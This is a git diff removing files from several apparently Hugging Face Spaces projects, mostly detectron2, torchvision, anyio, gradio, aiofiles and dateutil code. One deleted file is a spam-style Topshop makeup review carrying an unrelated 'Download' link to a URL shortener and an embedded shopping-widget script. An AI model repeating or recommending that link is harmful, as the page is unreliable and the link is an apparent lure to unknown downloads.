boxes.to(deltas.dtype).unsqueeze(2) - - ctr_x = boxes[:, 0] - ctr_y = boxes[:, 1] - widths = boxes[:, 2] - heights = boxes[:, 3] - angles = boxes[:, 4] - - wx, wy, ww, wh, wa = self.weights - - dx = deltas[:, 0::5] / wx - dy = deltas[:, 1::5] / wy - dw = deltas[:, 2::5] / ww - dh = deltas[:, 3::5] / wh - da = deltas[:, 4::5] / wa - - # Prevent sending too large values into torch.exp() - dw = torch.clamp(dw, max=self.scale_clamp) - dh = torch.clamp(dh, max=self.scale_clamp) - - pred_boxes = torch.zeros_like(deltas) - pred_boxes[:, 0::5] = dx * widths + ctr_x # x_ctr - pred_boxes[:, 1::5] = dy * heights + ctr_y # y_ctr - pred_boxes[:, 2::5] = torch.exp(dw) * widths # width - pred_boxes[:, 3::5] = torch.exp(dh) * heights # height - - # Following original RRPN implementation, - # angles of deltas are in radians while angles of boxes are in degrees. - pred_angle = da * 180.0 / math.pi + angles - pred_angle = (pred_angle + 180.0) % 360.0 - 180.0 # make it in [-180, 180) - - pred_boxes[:, 4::5] = pred_angle - - return pred_boxes - - -class Box2BoxTransformLinear(object): - """ - The linear box-to-box transform defined in FCOS. The transformation is parameterized - by the distance from the center of (square) src box to 4 edges of the target box. - """ - - def __init__(self, normalize_by_size=True): - """ - Args: - normalize_by_size: normalize deltas by the size of src (anchor) boxes. - """ - self.normalize_by_size = normalize_by_size - - def get_deltas(self, src_boxes, target_boxes): - """ - Get box regression transformation deltas (dx1, dy1, dx2, dy2) that can be used - to transform the `src_boxes` into the `target_boxes`. That is, the relation - ``target_boxes == self.apply_deltas(deltas, src_boxes)`` is true. - The center of src must be inside target boxes. - - Args: - src_boxes (Tensor): square source boxes, e.g., anchors - target_boxes (Tensor): target of the transformation, e.g., ground-truth - boxes. - """ - assert isinstance(src_boxes, torch.Tensor), type(src_boxes) - assert isinstance(target_boxes, torch.Tensor), type(target_boxes) - - src_ctr_x = 0.5 * (src_boxes[:, 0] + src_boxes[:, 2]) - src_ctr_y = 0.5 * (src_boxes[:, 1] + src_boxes[:, 3]) - - target_l = src_ctr_x - target_boxes[:, 0] - target_t = src_ctr_y - target_boxes[:, 1] - target_r = target_boxes[:, 2] - src_ctr_x - target_b = target_boxes[:, 3] - src_ctr_y - - deltas = torch.stack((target_l, target_t, target_r, target_b), dim=1) - if self.normalize_by_size: - stride_w = src_boxes[:, 2] - src_boxes[:, 0] - stride_h = src_boxes[:, 3] - src_boxes[:, 1] - strides = torch.stack([stride_w, stride_h, stride_w, stride_h], axis=1) - deltas = deltas / strides - - return deltas - - def apply_deltas(self, deltas, boxes): - """ - Apply transformation `deltas` (dx1, dy1, dx2, dy2) to `boxes`. - - Args: - deltas (Tensor): transformation deltas of shape (N, k*4), where k >= 1. - deltas[i] represents k potentially different class-specific - box transformations for the single box boxes[i]. - boxes (Tensor): boxes to transform, of shape (N, 4) - """ - # Ensure the output is a valid box. See Sec 2.1 of https://arxiv.org/abs/2006.09214 - deltas = F.relu(deltas) - boxes = boxes.to(deltas.dtype) - - ctr_x = 0.5 * (boxes[:, 0] + boxes[:, 2]) - ctr_y = 0.5 * (boxes[:, 1] + boxes[:, 3]) - if self.normalize_by_size: - stride_w = boxes[:, 2] - boxes[:, 0] - stride_h = boxes[:, 3] - boxes[:, 1] - strides = torch.stack([stride_w, stride_h, stride_w, stride_h], axis=1) - deltas = deltas * strides - - l = deltas[:, 0::4] - t = deltas[:, 1::4] - r = deltas[:, 2::4] - b = deltas[:, 3::4] - - pred_boxes = torch.zeros_like(deltas) - pred_boxes[:, 0::4] = ctr_x[:, None] - l # x1 - pred_boxes[:, 1::4] = ctr_y[:, None] - t # y1 - pred_boxes[:, 2::4] = ctr_x[:, None] + r # x2 - pred_boxes[:, 3::4] = ctr_y[:, None] + b # y2 - return pred_boxes - - -def _dense_box_regression_loss( - anchors: List[Union[Boxes, torch.Tensor]], - box2box_transform: Box2BoxTransform, - pred_anchor_deltas: List[torch.Tensor], - gt_boxes: List[torch.Tensor], - fg_mask: torch.Tensor, - box_reg_loss_type="smooth_l1", - smooth_l1_beta=0.0, -): - """ - Compute loss for dense multi-level box regression. - Loss is accumulated over ``fg_mask``. - - Args: - anchors: #lvl anchor boxes, each is (HixWixA, 4) - pred_anchor_deltas: #lvl predictions, each is (N, HixWixA, 4) - gt_boxes: N ground truth boxes, each has shape (R, 4) (R = sum(Hi * Wi * A)) - fg_mask: the foreground boolean mask of shape (N, R) to compute loss on - box_reg_loss_type (str): Loss type to use. Supported losses: "smooth_l1", "giou", - "diou", "ciou". - smooth_l1_beta (float): beta parameter for the smooth L1 regression loss. Default to - use L1 loss. Only used when `box_reg_loss_type` is "smooth_l1" - """ - if isinstance(anchors[0], Boxes): - anchors = type(anchors[0]).cat(anchors).tensor # (R, 4) - else: - anchors = cat(anchors) - if box_reg_loss_type == "smooth_l1": - gt_anchor_deltas = [box2box_transform.get_deltas(anchors, k) for k in gt_boxes] - gt_anchor_deltas = torch.stack(gt_anchor_deltas) # (N, R, 4) - loss_box_reg = smooth_l1_loss( - cat(pred_anchor_deltas, dim=1)[fg_mask], - gt_anchor_deltas[fg_mask], - beta=smooth_l1_beta, - reduction="sum", - ) - elif box_reg_loss_type == "giou": - pred_boxes = [ - box2box_transform.apply_deltas(k, anchors) for k in cat(pred_anchor_deltas, dim=1) - ] - loss_box_reg = giou_loss( - torch.stack(pred_boxes)[fg_mask], torch.stack(gt_boxes)[fg_mask], reduction="sum" - ) - elif box_reg_loss_type == "diou": - pred_boxes = [ - box2box_transform.apply_deltas(k, anchors) for k in cat(pred_anchor_deltas, dim=1) - ] - loss_box_reg = diou_loss( - torch.stack(pred_boxes)[fg_mask], torch.stack(gt_boxes)[fg_mask], reduction="sum" - ) - elif box_reg_loss_type == "ciou": - pred_boxes = [ - box2box_transform.apply_deltas(k, anchors) for k in cat(pred_anchor_deltas, dim=1) - ] - loss_box_reg = ciou_loss( - torch.stack(pred_boxes)[fg_mask], torch.stack(gt_boxes)[fg_mask], reduction="sum" - ) - else: - raise ValueError(f"Invalid dense box regression loss type '{box_reg_loss_type}'") - return loss_box_reg diff --git a/spaces/carlosalonso/Detection-video/carpeta_deteccion/detectron2/layers/roi_align_rotated.py b/spaces/carlosalonso/Detection-video/carpeta_deteccion/detectron2/layers/roi_align_rotated.py deleted file mode 100644 index d097326c3a6116e872cecf0d675b42958f359b14..0000000000000000000000000000000000000000 --- a/spaces/carlosalonso/Detection-video/carpeta_deteccion/detectron2/layers/roi_align_rotated.py +++ /dev/null @@ -1,91 +0,0 @@ -# Copyright (c) Facebook, Inc. and its affiliates. -import torch -from torch import nn -from torch.autograd import Function -from torch.autograd.function import once_differentiable -from torch.nn.modules.utils import _pair - - -class _ROIAlignRotated(Function): - @staticmethod - def forward(ctx, input, roi, output_size, spatial_scale, sampling_ratio): - ctx.save_for_backward(roi) - ctx.output_size = _pair(output_size) - ctx.spatial_scale = spatial_scale - ctx.sampling_ratio = sampling_ratio - ctx.input_shape = input.size() - output = torch.ops.detectron2.roi_align_rotated_forward( - input, roi, spatial_scale, output_size[0], output_size[1], sampling_ratio - ) - return output - - @staticmethod - @once_differentiable - def backward(ctx, grad_output): - (rois,) = ctx.saved_tensors - output_size = ctx.output_size - spatial_scale = ctx.spatial_scale - sampling_ratio = ctx.sampling_ratio - bs, ch, h, w = ctx.input_shape - grad_input = torch.ops.detectron2.roi_align_rotated_backward( - grad_output, - rois, - spatial_scale, - output_size[0], - output_size[1], - bs, - ch, - h, - w, - sampling_ratio, - ) - return grad_input, None, None, None, None, None - - -roi_align_rotated = _ROIAlignRotated.apply - - -class ROIAlignRotated(nn.Module): - def __init__(self, output_size, spatial_scale, sampling_ratio): - """ - Args: - output_size (tuple): h, w - spatial_scale (float): scale the input boxes by this number - sampling_ratio (int): number of inputs samples to take for each output - sample. 0 to take samples densely. - - Note: - ROIAlignRotated supports continuous coordinate by default: - Given a continuous coordinate c, its two neighboring pixel indices (in our - pixel model) are computed by floor(c - 0.5) and ceil(c - 0.5). For example, - c=1.3 has pixel neighbors with discrete indices [0] and [1] (which are sampled - from the underlying signal at continuous coordinates 0.5 and 1.5). - """ - super(ROIAlignRotated, self).__init__() - self.output_size = output_size - self.spatial_scale = spatial_scale - self.sampling_ratio = sampling_ratio - - def forward(self, input, rois): - """ - Args: - input: NCHW images - rois: Bx6 boxes. First column is the index into N. - The other 5 columns are (x_ctr, y_ctr, width, height, angle_degrees). - """ - assert rois.dim() == 2 and rois.size(1) == 6 - orig_dtype = input.dtype - if orig_dtype == torch.float16: - input = input.float() - rois = rois.float() - return roi_align_rotated( - input, rois, self.output_size, self.spatial_scale, self.sampling_ratio - ).to(dtype=orig_dtype) - - def __repr__(self): - tmpstr = self.__class__.__name__ + "(" - tmpstr += "output_size=" + str(self.output_size) - tmpstr += ", spatial_scale=" + str(self.spatial_scale) - tmpstr += ", sampling_ratio=" + str(self.sampling_ratio) - tmpstr += ")" - return tmpstr diff --git a/spaces/ccolas/TastyPiano/src/music2cocktailrep/training/latent_translation/__init__.py b/spaces/ccolas/TastyPiano/src/music2cocktailrep/training/latent_translation/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/spaces/chongjie/MCC_slim/util/crop.py b/spaces/chongjie/MCC_slim/util/crop.py deleted file mode 100644 index fcb26125cca771791b0c5eea2f1c1fabcca0348b..0000000000000000000000000000000000000000 --- a/spaces/chongjie/MCC_slim/util/crop.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright (c) Meta Platforms, Inc. and affiliates. -# All rights reserved. - -# This source code is licensed under the license found in the -# LICENSE file in the root directory of this source tree. - -import math - -import torch - -from torchvision import transforms -from torchvision.transforms import functional as F - - -class RandomResizedCrop(transforms.RandomResizedCrop): - """ - RandomResizedCrop for matching TF/TPU implementation: no for-loop is used. - This may lead to results different with torchvision's version. - Following BYOL's TF code: - https://github.com/deepmind/deepmind-research/blob/master/byol/utils/dataset.py#L206 - """ - @staticmethod - def get_params(img, scale, ratio): - width, height = F._get_image_size(img) - area = height * width - - target_area = area * torch.empty(1).uniform_(scale[0], scale[1]).item() - log_ratio = torch.log(torch.tensor(ratio)) - aspect_ratio = torch.exp( - torch.empty(1).uniform_(log_ratio[0], log_ratio[1]) - ).item() - - w = int(round(math.sqrt(target_area * aspect_ratio))) - h = int(round(math.sqrt(target_area / aspect_ratio))) - - w = min(w, width) - h = min(h, height) - - i = torch.randint(0, height - h + 1, size=(1,)).item() - j = torch.randint(0, width - w + 1, size=(1,)).item() - - return i, j, h, w \ No newline at end of file diff --git a/spaces/chuan-hd/law-assistant-chatbot/.venv/lib/python3.11/site-packages/anyio/abc/_testing.py b/spaces/chuan-hd/law-assistant-chatbot/.venv/lib/python3.11/site-packages/anyio/abc/_testing.py deleted file mode 100644 index ee2cff5cc3cb7d31226c24f79e0eac498abd1cfc..0000000000000000000000000000000000000000 --- a/spaces/chuan-hd/law-assistant-chatbot/.venv/lib/python3.11/site-packages/anyio/abc/_testing.py +++ /dev/null @@ -1,70 +0,0 @@ -from __future__ import annotations - -import types -from abc import ABCMeta, abstractmethod -from collections.abc import AsyncGenerator, Iterable -from typing import Any, Callable, Coroutine, TypeVar - -_T = TypeVar("_T") - - -class TestRunner(metaclass=ABCMeta): - """ - Encapsulates a running event loop. Every call made through this object will use the same event - loop. - """ - - def __enter__(self) -> TestRunner: - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: types.TracebackType | None, - ) -> bool | None: - self.close() - return None - - @abstractmethod - def close(self) -> None: - """Close the event loop.""" - - @abstractmethod - def run_asyncgen_fixture( - self, - fixture_func: Callable[..., AsyncGenerator[_T, Any]], - kwargs: dict[str, Any], - ) -> Iterable[_T]: - """ - Run an async generator fixture. - - :param fixture_func: the fixture function - :param kwargs: keyword arguments to call the fixture function with - :return: an iterator yielding the value yielded from the async generator - """ - - @abstractmethod - def run_fixture( - self, - fixture_func: Callable[..., Coroutine[Any, Any, _T]], - kwargs: dict[str, Any], - ) -> _T: - """ - Run an async fixture. - - :param fixture_func: the fixture function - :param kwargs: keyword arguments to call the fixture function with - :return: the return value of the fixture function - """ - - @abstractmethod - def run_test( - self, test_func: Callable[..., Coroutine[Any, Any, Any]], kwargs: dict[str, Any] - ) -> None: - """ - Run an async test function. - - :param test_func: the test function - :param kwargs: keyword arguments to call the test function with - """ diff --git a/spaces/chuan-hd/law-assistant-chatbot/.venv/lib/python3.11/site-packages/flatbuffers/compat.py b/spaces/chuan-hd/law-assistant-chatbot/.venv/lib/python3.11/site-packages/flatbuffers/compat.py deleted file mode 100644 index 0244c9787ee1d4342bab43ff6f7abd86c15c0e95..0000000000000000000000000000000000000000 --- a/spaces/chuan-hd/law-assistant-chatbot/.venv/lib/python3.11/site-packages/flatbuffers/compat.py +++ /dev/null @@ -1,86 +0,0 @@ -# Copyright 2016 Google Inc. All rights reserved. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -""" A tiny version of `six` to help with backwards compability. Also includes - compatibility helpers for numpy. """ - -import sys - -PY2 = sys.version_info[0] == 2 -PY26 = sys.version_info[0:2] == (2, 6) -PY27 = sys.version_info[0:2] == (2, 7) -PY275 = sys.version_info[0:3] >= (2, 7, 5) -PY3 = sys.version_info[0] == 3 -PY34 = sys.version_info[0:2] >= (3, 4) - -if PY3: - import importlib.machinery - string_types = (str,) - binary_types = (bytes,bytearray) - range_func = range - memoryview_type = memoryview - struct_bool_decl = "?" -else: - import imp - string_types = (unicode,) - if PY26 or PY27: - binary_types = (str,bytearray) - else: - binary_types = (str,) - range_func = xrange - if PY26 or (PY27 and not PY275): - memoryview_type = buffer - struct_bool_decl = " list[tuple[str, str | float | None]] | None: - """ - Parameters: - y: List of (word, category) tuples - Returns: - List of (word, category) tuples - """ - if y is None: - return None - if isinstance(y, dict): - try: - text = y["text"] - entities = y["entities"] - except KeyError as ke: - raise ValueError( - "Expected a dictionary with keys 'text' and 'entities' " - "for the value of the HighlightedText component." - ) from ke - if len(entities) == 0: - y = [(text, None)] - else: - list_format = [] - index = 0 - entities = sorted(entities, key=lambda x: x["start"]) - for entity in entities: - list_format.append((text[index : entity["start"]], None)) - list_format.append( - (text[entity["start"] : entity["end"]], entity["entity"]) - ) - index = entity["end"] - list_format.append((text[index:], None)) - y = list_format - if self.combine_adjacent: - output = [] - running_text, running_category = None, None - for text, category in y: - if running_text is None: - running_text = text - running_category = category - elif category == running_category: - running_text += self.adjacent_separator + text - elif not text: - # Skip fully empty item, these get added in processing - # of dictionaries. - pass - else: - output.append((running_text, running_category)) - running_text = text - running_category = category - if running_text is not None: - output.append((running_text, running_category)) - return output - else: - return y - - def style( - self, - *, - color_map: dict[str, str] | None = None, - container: bool | None = None, - **kwargs, - ): - """ - This method is deprecated. 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      Because there is no Topshop in my area, I didn't even know they had makeup, but I am sooo glad I found out because I picked up some really beautiful items that I am so excited to share. From my research, all of the products I picked up are a part of the brands Festival Collection, with the exception of the cream eyeshadow.

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      Keep reading for more info!

      Chameleon Glow Eye shadows in Wax and Wane and U-turn $13
      These eye shadows feel exactly the same as the Urban Decay Moondust shadows except the duo-chrome effect is next level. This product has a slightly dry, yet creamy texture and each eye shadow is 2.4g/ 0.85oz and slightly larger than a quarter, . I love how intense the duo-chrome of these are, they reflect different colors based on the angle you look at it. They are also perfect for the lid and perfect for a night out under a white or black base or as a sheer layer on the eyes during the day. Fare warning, these shades are quite glittery and if you're not careful you will end up with Glitter on your face.

      As far as application, using your fingers really helps to pick up the product well as opposed to a brush. These can also be applied damp for even a more intense glow. I wore these almost everyday in France and although there is a little fallout, these lasts all day with a good sticky base like Nyx Glitter Glue.

      The shades I picked up were :

      Wax and Wane - Wax and Wane is a purple based shimmery shade with blue and pink duo-chrome. This reminds me of a glittery Stars and Rockets eye shadow from Mac.
      U-turn - This shade is a green based shade with Gold, orange, pink and Yellow Duo-chrome shimmer This one is my favorite of the two because its more pigment than wax and Wane and in my opinion a little more unique
      Chameleon Highlighter in Mother of Pearl $17Just like the Chameleon eye shadows, the Chameleon highlighter is a duo-chrome multi dimensional dream. it has a similar texture to the eye shadow, but maybe even a little more finely textured and creamy. I love that every single aspect of the duo-chrome can be picked up on the skin. Mother of Pearl is a champagne based highlighter with gold and pink duo-chrome shimmer. Think rose gold, but almost like the rose and the gold are separate from each other and come together to make this glorious highlight!


      I also love this shade because I know it would look good on absolutely everyone. I have been wearing this everyday lately and this is the only highlighter I took to France last month. Another pro of this highlighter that I got a full day wear out of it and even though its really glittery I didn't end up with glitter all over my face. The particles really stuck together and that is unheard of for chunk highlighters.
      Cream Color Eye shadow in RevealedThis product really surprised me! I don't love how it swatches at all. This chocolate brown cream color product swatches kind of patchy, but is actually a really lovely base for a smokey eye or if you want a wash of brown on your eyes. I think that the consistency of this stuff is a bit to creamy to use as a like an eyeliner, but it smooths onto the eye nicely and I love to use it when I want a quick and easy base for darker eye shadow shades.

      Final Thoughts
      I am so glad I tried out these products after hearing so many good things about the line! My favorite product was definitely the highlighter because I personally live for a good glittery highlight. I know its not for everyone but perfect for my summer glow. You can check out these products on the Topshop Website. I promise these will not let you down.

      Until next time! Feel free to check out some of my favorite Topshop beauty products below!

      !function(doc,s,id) var e, p, cb; if(!doc.getElementById(id)) e = doc.createElement(s); e.id = id; cb = new Date().getTime().toString(); p = '//shopsensewidget.shopstyle.com/widget-script.js?cb=1504884623380?cb=' + cb; e.src = p; doc.body.appendChild(e); if(typeof window.ss_shopsense === 'object') if(doc.readyState === 'complete') window.ss_shopsense.init(); (document, 'script', 'shopsensewidget-script'); Follow me here: Instagram | Facebook | Pinterest | Bloglovin'

      -

      TOPSHOP BEAUTY EYESHADOW SWATCHES


      Download ►►►►► https://tinurli.com/2uwiCO



      -


      Despite Topshop's makeup range getting so much praise since it was first launched, there's only a handful of products I've tried from the line. No matter how hard I try, I can't shake the unfair preconception that a clothing brand's beauty offerings just can't match up to one that solely focuses on makeup. I know, I know. Finally, after trying a couple of the Topshop Nude Eye Contour Creams, I think I may have overcome my negative expectations.

      Contouring is having a huge moment in the beauty world, at the moment, so it's a genius move for Topshop to have jumped on the bandwagon, but with a twist just for the eyes. Although there are countless brands that offer cream shadows, very few have nude, contour shades in their collection and I haven't seen any similar from another, drugstore brand.

      Five, neutral shades make up the range, all varying in depth and level of shimmer, with most of them resembling natural skin-tones. Contour products tend to be shimmer-free in order to achieve a believable, natural-looking shadow, but a couple of these shades are practically metallic and deviate away from the nude colour palette, in my opinion. Saying that, they're all still gorgeous, totally wearable colours that are guaranteed to be staple shades in anyone's collection. I just think that Topshop should have been a bit wiser with their naming, that's all. One thing to note is that swatching the colours in-store, before purchasing, is a must to avoid disappointment. Relying on Topshop's online images is a risk, as the colours aren't replicated very clearly.


      Considering these shadows have a nude theme, the pigmentation is great, giving either a subtle wash of colour to the lids with a single layer, or an opaque finish when built-up. Depending on your skin-tone, the lighter colours can be used to gently even out the eyelid for a polished, barely-there look, with the darker shades adding definition to the eye, along the lash-line and through the crease. Whilst the colours aren't anything out-there or ground-breaking, they're all non-offensive, essential basics that are always useful.

      On first unscrewing the lids, you're hit with quite a strong, honeycomb scent. Totally unexpected, it's rather unusual for eyeshadows to have fragrance added to them, but I find it a pleasant, albeit odd, addition, as the scent dissipates once applied. Those with particularly sensitive skin may want to be wary of possible irritation, but it caused no issues for the delicate skin around my eyes.

      Texture-wise, the formula of the shadows is smooth and creamy, but not too wet, thick or heavy. Allowing you to stay in control, the shadow isn't messy to use and doesn't smudge everywhere as you blend. Giving you a little play-time to place the colour where you want it, the shadows are easy to buff out initially, but soon set firmly in place. After a minute, it's nigh-on impossible to work the product any further, so you have to blend quickly. Fingers are the best tool to blend with, as the warmth from them keeps the product soft and gives you a few, extra seconds of slip.

      Ridiculously long-lasting, these shadows last all day and night on my (never oily) lids, with no signs of wear whatsoever. Boasting 16-hour wear, Topshop clearly have faith in their formula and, although I wouldn't wear my makeup for that long, I can well believe their claim. You may want to prep with a separate primer first though, if you have very oily lids, to prevent possible creasing.

      Topshop Nude Eye Contour Cream Eyeshadow Swatches - Bare & Undressed
      I picked up two of the five shades, but I do intend to purchase a couple more. Bare is described simply as a, 'brown', on the Topshop website, but it's actually a metallic, pewter/taupe shade. Clearly, this isn't a shade to contour with, but it's a gorgeous colour regardless. Considering it's close to being a cream version of one of my all-time favourite eyeshadows, MAC Patina, I'll forgive Topshop for getting it so wrong when labeling and naming this shade. But, it could be a major disappointment to anyone who's made a blind, online purchase, without trying it first.

      Undressed, on other hand, is a warm, soft, caramel shade with a small hint of shimmer and is just gorgeous for contouring. As it has more of a satin finish, it can be used both as an all-over colour, but to add definition where you want it also. For autumn especially, this is a great tone, but it's essential to wear lashings of mascara and some eyeliner with it, to avoid looking like you've gone eight rounds with Mike Tyson.
      These Topshop Nude Eye Contours are priced at a whopping £8 for a tiny pot which holds just 2g of product, which is pretty hard to swallow. Honestly, I very rarely empty a whole pot of cream eyeshadow, so I can't see myself getting through these too quickly and they're still a bargain compared to many high-end equivalents. But, I may feel differently if I used them daily.

      Which makeup products from Topshop do you love?
      AGB X

      aaccfb2cb3
      -
      -
      \ No newline at end of file diff --git a/spaces/cloudtheboi/Lofi4All/.pythonlibs/lib/python3.10/site-packages/aiofiles/ospath.py b/spaces/cloudtheboi/Lofi4All/.pythonlibs/lib/python3.10/site-packages/aiofiles/ospath.py deleted file mode 100644 index 5f32a43d288d8efe9561d6576d6baeb420113bf5..0000000000000000000000000000000000000000 --- a/spaces/cloudtheboi/Lofi4All/.pythonlibs/lib/python3.10/site-packages/aiofiles/ospath.py +++ /dev/null @@ -1,28 +0,0 @@ -"""Async executor versions of file functions from the os.path module.""" -import asyncio -from functools import partial, wraps -from os import path - - -def wrap(func): - @wraps(func) - async def run(*args, loop=None, executor=None, **kwargs): - if loop is None: - loop = asyncio.get_running_loop() - pfunc = partial(func, *args, **kwargs) - return await loop.run_in_executor(executor, pfunc) - - return run - - -exists = wrap(path.exists) -isfile = wrap(path.isfile) -isdir = wrap(path.isdir) -islink = wrap(path.islink) -ismount = wrap(path.ismount) -getsize = wrap(path.getsize) -getmtime = wrap(path.getmtime) -getatime = wrap(path.getatime) -getctime = wrap(path.getctime) -samefile = wrap(path.samefile) -sameopenfile = wrap(path.sameopenfile) diff --git a/spaces/cloudtheboi/Lofi4All/.pythonlibs/lib/python3.10/site-packages/dateutil/tz/win.py b/spaces/cloudtheboi/Lofi4All/.pythonlibs/lib/python3.10/site-packages/dateutil/tz/win.py deleted file mode 100644 index cde07ba792c40903f0c334839140173b39fd8124..0000000000000000000000000000000000000000 --- a/spaces/cloudtheboi/Lofi4All/.pythonlibs/lib/python3.10/site-packages/dateutil/tz/win.py +++ /dev/null @@ -1,370 +0,0 @@ -# -*- coding: utf-8 -*- -""" -This module provides an interface to the native time zone data on Windows, -including :py:class:`datetime.tzinfo` implementations. - -Attempting to import this module on a non-Windows platform will raise an -:py:obj:`ImportError`. -""" -# This code was originally contributed by Jeffrey Harris. -import datetime -import struct - -from six.moves import winreg -from six import text_type - -try: - import ctypes - from ctypes import wintypes -except ValueError: - # ValueError is raised on non-Windows systems for some horrible reason. - raise ImportError("Running tzwin on non-Windows system") - -from ._common import tzrangebase - -__all__ = ["tzwin", "tzwinlocal", "tzres"] - -ONEWEEK = datetime.timedelta(7) - -TZKEYNAMENT = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" -TZKEYNAME9X = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Time Zones" -TZLOCALKEYNAME = r"SYSTEM\CurrentControlSet\Control\TimeZoneInformation" - - -def _settzkeyname(): - handle = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) - try: - winreg.OpenKey(handle, TZKEYNAMENT).Close() - TZKEYNAME = TZKEYNAMENT - except WindowsError: - TZKEYNAME = TZKEYNAME9X - handle.Close() - return TZKEYNAME - - -TZKEYNAME = _settzkeyname() - - -class tzres(object): - """ - Class for accessing ``tzres.dll``, which contains timezone name related - resources. - - .. versionadded:: 2.5.0 - """ - p_wchar = ctypes.POINTER(wintypes.WCHAR) # Pointer to a wide char - - def __init__(self, tzres_loc='tzres.dll'): - # Load the user32 DLL so we can load strings from tzres - user32 = ctypes.WinDLL('user32') - - # Specify the LoadStringW function - user32.LoadStringW.argtypes = (wintypes.HINSTANCE, - wintypes.UINT, - wintypes.LPWSTR, - ctypes.c_int) - - self.LoadStringW = user32.LoadStringW - self._tzres = ctypes.WinDLL(tzres_loc) - self.tzres_loc = tzres_loc - - def load_name(self, offset): - """ - Load a timezone name from a DLL offset (integer). - - >>> from dateutil.tzwin import tzres - >>> tzr = tzres() - >>> print(tzr.load_name(112)) - 'Eastern Standard Time' - - :param offset: - A positive integer value referring to a string from the tzres dll. - - .. note:: - - Offsets found in the registry are generally of the form - ``@tzres.dll,-114``. The offset in this case is 114, not -114. - - """ - resource = self.p_wchar() - lpBuffer = ctypes.cast(ctypes.byref(resource), wintypes.LPWSTR) - nchar = self.LoadStringW(self._tzres._handle, offset, lpBuffer, 0) - return resource[:nchar] - - def name_from_string(self, tzname_str): - """ - Parse strings as returned from the Windows registry into the time zone - name as defined in the registry. - - >>> from dateutil.tzwin import tzres - >>> tzr = tzres() - >>> print(tzr.name_from_string('@tzres.dll,-251')) - 'Dateline Daylight Time' - >>> print(tzr.name_from_string('Eastern Standard Time')) - 'Eastern Standard Time' - - :param tzname_str: - A timezone name string as returned from a Windows registry key. - - :return: - Returns the localized timezone string from tzres.dll if the string - is of the form `@tzres.dll,-offset`, else returns the input string. - """ - if not tzname_str.startswith('@'): - return tzname_str - - name_splt = tzname_str.split(',-') - try: - offset = int(name_splt[1]) - except: - raise ValueError("Malformed timezone string.") - - return self.load_name(offset) - - -class tzwinbase(tzrangebase): - """tzinfo class based on win32's timezones available in the registry.""" - def __init__(self): - raise NotImplementedError('tzwinbase is an abstract base class') - - def __eq__(self, other): - # Compare on all relevant dimensions, including name. - if not isinstance(other, tzwinbase): - return NotImplemented - - return (self._std_offset == other._std_offset and - self._dst_offset == other._dst_offset and - self._stddayofweek == other._stddayofweek and - self._dstdayofweek == other._dstdayofweek and - self._stdweeknumber == other._stdweeknumber and - self._dstweeknumber == other._dstweeknumber and - self._stdhour == other._stdhour and - self._dsthour == other._dsthour and - self._stdminute == other._stdminute and - self._dstminute == other._dstminute and - self._std_abbr == other._std_abbr and - self._dst_abbr == other._dst_abbr) - - @staticmethod - def list(): - """Return a list of all time zones known to the system.""" - with winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) as handle: - with winreg.OpenKey(handle, TZKEYNAME) as tzkey: - result = [winreg.EnumKey(tzkey, i) - for i in range(winreg.QueryInfoKey(tzkey)[0])] - return result - - def display(self): - """ - Return the display name of the time zone. - """ - return self._display - - def transitions(self, year): - """ - For a given year, get the DST on and off transition times, expressed - always on the standard time side. For zones with no transitions, this - function returns ``None``. - - :param year: - The year whose transitions you would like to query. - - :return: - Returns a :class:`tuple` of :class:`datetime.datetime` objects, - ``(dston, dstoff)`` for zones with an annual DST transition, or - ``None`` for fixed offset zones. - """ - - if not self.hasdst: - return None - - dston = picknthweekday(year, self._dstmonth, self._dstdayofweek, - self._dsthour, self._dstminute, - self._dstweeknumber) - - dstoff = picknthweekday(year, self._stdmonth, self._stddayofweek, - self._stdhour, self._stdminute, - self._stdweeknumber) - - # Ambiguous dates default to the STD side - dstoff -= self._dst_base_offset - - return dston, dstoff - - def _get_hasdst(self): - return self._dstmonth != 0 - - @property - def _dst_base_offset(self): - return self._dst_base_offset_ - - -class tzwin(tzwinbase): - """ - Time zone object created from the zone info in the Windows registry - - These are similar to :py:class:`dateutil.tz.tzrange` objects in that - the time zone data is provided in the format of a single offset rule - for either 0 or 2 time zone transitions per year. - - :param: name - The name of a Windows time zone key, e.g. "Eastern Standard Time". - The full list of keys can be retrieved with :func:`tzwin.list`. - """ - - def __init__(self, name): - self._name = name - - with winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) as handle: - tzkeyname = text_type("{kn}\\{name}").format(kn=TZKEYNAME, name=name) - with winreg.OpenKey(handle, tzkeyname) as tzkey: - keydict = valuestodict(tzkey) - - self._std_abbr = keydict["Std"] - self._dst_abbr = keydict["Dlt"] - - self._display = keydict["Display"] - - # See http://ww_winreg.jsiinc.com/SUBA/tip0300/rh0398.htm - tup = struct.unpack("=3l16h", keydict["TZI"]) - stdoffset = -tup[0]-tup[1] # Bias + StandardBias * -1 - dstoffset = stdoffset-tup[2] # + DaylightBias * -1 - self._std_offset = datetime.timedelta(minutes=stdoffset) - self._dst_offset = datetime.timedelta(minutes=dstoffset) - - # for the meaning see the win32 TIME_ZONE_INFORMATION structure docs - # http://msdn.microsoft.com/en-us/library/windows/desktop/ms725481(v=vs.85).aspx - (self._stdmonth, - self._stddayofweek, # Sunday = 0 - self._stdweeknumber, # Last = 5 - self._stdhour, - self._stdminute) = tup[4:9] - - (self._dstmonth, - self._dstdayofweek, # Sunday = 0 - self._dstweeknumber, # Last = 5 - self._dsthour, - self._dstminute) = tup[12:17] - - self._dst_base_offset_ = self._dst_offset - self._std_offset - self.hasdst = self._get_hasdst() - - def __repr__(self): - return "tzwin(%s)" % repr(self._name) - - def __reduce__(self): - return (self.__class__, (self._name,)) - - -class 